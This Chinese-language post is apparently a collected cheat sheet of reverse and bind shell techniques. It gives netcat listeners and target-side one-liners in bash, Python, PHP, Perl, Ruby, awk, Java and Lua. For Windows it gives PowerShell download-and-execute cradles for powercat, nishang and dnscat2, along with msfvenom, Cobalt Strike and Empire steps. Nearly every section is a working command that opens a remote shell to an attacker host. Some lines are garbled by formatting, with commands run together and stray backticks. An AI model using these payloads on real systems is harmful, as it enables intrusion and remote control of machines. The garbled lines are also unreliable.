关于弹shell

总(ban)结(yun)来的弹shell多种手法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
(1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。

(2) -p <port>
指定端口,暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)

(3) -s 
指定发送数据的源IP地址,适用于多网卡机 

(4) -u
指定nc使用UDP协议,默认为TCP

(5) -v
输出交互或出错信息,新手调试时尤为有用

(6)-w
超时秒数,后面跟数字 

(7)-z
表示zero,表示扫描时不发送任何数据

(8)-n 
直接使用IP地址,而不通过域名服务器;

(9)-e
执行某个程序

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

1
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gztar -xvzf netcat-0.7.1.tar.gz./configuremake && make installmake clean

服务端启动监听

1
nc -lnvp 4444

客户端进行连接

1
nc -nv IP 4444

image-20231013223623093

客户端与服务端实现消息共享,即客户端的输入服务端可见,服务端的输入客户端可见。

和局域网聊天是原理一样的,不过把输入输出重定向到文件

服务端设置监听

1
exe -lnvp 4444 >recv.txt

客户端发送:

1
nc IP 4444 <1.txt

image-20231013224518257

注:服务端和客户端都可做为接收端和发送端,发送端必须要有文件,接收端可以不创建文件,当接受端不创建文件时,会自动创建并将发送端地内容保存到文件,如果已存在文件将会覆盖其中内容

在服务端(靶标机)启动监听

1
nc -lvvp 4444 -e /bin/bash

在客户端(攻击机)连接

1
nc IP 4444

这种连接又称正向连接,攻击机主动连接靶标机。

image-20231013230045856

连接成功后便可执行命令。

本地作为服务端开启监听(攻击机)

1
2
nc -lvnp 4444
或nc -vvlp 4444

目标机开启反弹

1
2
3
4
5
6
bash -i >& /dev/tcp/IP/4444 0>&1

bash -i            创建一个交互式的bash shell
&>                 将标准输出和标准错误都重定向到我们指定的文件
/dev/tcp/IP/4444   建立连接到IP的4444端口
0>&1               将文件描述符0重定向为文件描述符1,也就是标准输入被重定向为标准输出

image-20231013230758727

本地作为服务器开启监听

1
nc -lvvp 444

靶机作为客户端开启反弹

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image-20231013231843828

连的时候会稍微有点慢

本地作为服务器开启监听

1
nc -lvvp 4444

靶标机作为客户端反弹shell

1
nc -e /bin/bash IP 4444

image-20231013232442140

1
awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

本地作为服务器开启监听

1
nc -lvnp 4444

靶标机作为客户端反弹shell

1
2
3
php- 'exec("/bin/bash -i >& /dev/tcp/ip/4444")'
php -r '$sock=fsockopen("IP",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

本地作为服务器开启监听

1
nc -lvvp 4444

靶标机作为客户端反弹shell

1
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

本地作为服务器开启监听端口

1
nc -lvvp 4444

靶标作为客户端反弹shell

1
ruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

本地作为服务器开启监听端口

1
nc -lvvp 4444

靶标作为客户端反弹shell

1
2
3
r = Runtime.getRuntime()
p = r.``exec``([``"/bin/bash"``,``"-c"``,``"exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"``] as String[])
p.waitFor()

本地作为服务器开启监听端口

1
nc -lvvp 4444

靶标作为客户端反弹shell

lua -e “require(‘socket’);require(‘os’);t=socket.tcp();t:connect(‘IP’,‘4444’);os.execute(’/bin/sh -i <&3 >&3 2>&3’);”

本地作为服务器开启监听端口

1
nc -lvvp 4444

靶标作为客户端反弹shell

1
2
3
mknod` `/tmp/backpipe` `p
/bin/sh` `0<``/tmp/backpipe` `| nc IP 4444 1>``/tmp/backpipe
/bin/bash` `-i > ``/dev/tcp/IP````/4444 ``0<&1 2>&1

```mknod backpipe p && telnet IP 4444 0backpipe`

1
2
netcat 下载:https://eternallybored.org/misc/netcat/
服务端反弹:nc VPS_IP 1234 -e c:\windows\system32\cmd.exe

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

1
PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c VPS_IP -p 1234 -e cmd

下载到目标机器本地执行:

1
2
PS C:\WWW> Import-Module ./powercat.ps1
PS C:\WWW> powercat -c VPS_IP -p 1234 -e cmd

使用msfvenom生成相关Payload

1
2
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。 2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。 3、目标机执行powershell payload

1
2
3
4
usestager windows/launcher_vbs
info
set Listener test
execute

反弹TCPshell

1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 1234

反弹UDPshell

1
2
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234

项目地址:

https://github.com/iagox86/dnscat2github.com/iagox86/dnscat2

服务端:

1
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open 

目标主机:

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx